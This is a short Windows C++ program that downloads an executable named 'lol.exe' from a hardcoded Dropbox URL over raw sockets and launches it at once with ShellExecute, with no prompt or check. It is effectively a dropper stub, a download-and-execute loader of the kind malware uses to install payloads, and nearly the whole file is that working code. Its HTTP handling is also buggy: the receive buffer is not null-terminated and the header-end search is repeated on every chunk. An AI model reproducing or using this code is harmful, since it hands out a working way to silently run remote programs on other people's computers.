#include "stdafx.h"
#include <windows.h>
#include <iostream>
#include <string>
using namespace std;
#define BUFFERSIZE 4096
bool DownloadFile(string url, LPCSTR filename);
int _tmain(int argc, _TCHAR* argv[])
{
// Download File //
DownloadFile("http://dl.dropbox.com/u/70581194/lol.exe", "lol.exe");
// Run it //
ShellExecute(NULL, L"open", L"lol.exe", NULL, NULL, 5);
return 0;
}
bool DownloadFile(string url, LPCSTR filename){
string request; // HTTP Header //
char buffer[BUFFERSIZE];
struct sockaddr_in serveraddr;
int sock;
WSADATA wsaData;
int port = 80;
// Remove's http:// part //
if(url.find("http://") != -1){
string temp = url;
url = temp.substr(url.find("http://") + 7);
}
// Split host and file location //
int dm = url.find("/");
string file = url.substr(dm);
string shost = url.substr(0, dm);
// Generate http header //
request += "GET " + file + " HTTP/1.0\r\n";
request += "Host: " + shost + "\r\n";
request += "\r\n";
if (WSAStartup(MAKEWORD(2, 0), &wsaData) != 0)
return FALSE;
if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
return FALSE;
memset(&serveraddr, 0, sizeof(serveraddr));
// ip address of link //
hostent *record = gethostbyname(shost.c_str());
in_addr *address = (in_addr * )record->h_addr;
string ipd = inet_ntoa(* address);
const char *ipaddr = ipd.c_str();
serveraddr.sin_family = AF_INET;
serveraddr.sin_addr.s_addr = inet_addr(ipaddr);
serveraddr.sin_port = htons(port);
if (connect(sock, (struct sockaddr *) &serveraddr, sizeof(serveraddr)) < 0)
return FALSE;
if (send(sock, request.c_str(), request.length(), 0) != request.length())
return FALSE;
int nRecv, npos;
nRecv = recv(sock, (char*)&buffer, BUFFERSIZE, 0);
// getting end of header //
string str_buff = buffer;
npos = str_buff.find("\r\n\r\n");
// open the file in the beginning //
HANDLE hFile;
hFile = CreateFileA(filename, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
// Download file //
DWORD ss;
while((nRecv > 0) && (nRecv != INVALID_SOCKET)){
if(npos > 0){
char bf[BUFFERSIZE];
// copy from end position of header //
memcpy(bf, buffer + (npos + 4), nRecv - (npos + 4));
WriteFile(hFile, bf,nRecv - (npos + 4), &ss, NULL);
}else{
// write normally if end not found //
WriteFile(hFile, buffer, nRecv, &ss, NULL);
}
// buffer cleanup //
ZeroMemory(&buffer, sizeof(buffer));
nRecv = recv(sock, (char*)&buffer, BUFFERSIZE, 0);
str_buff = buffer;
npos = str_buff.find("\r\n\r\n");
}
// Close connection and handle //
CloseHandle(hFile);
closesocket(sock);
WSACleanup();
return TRUE;
}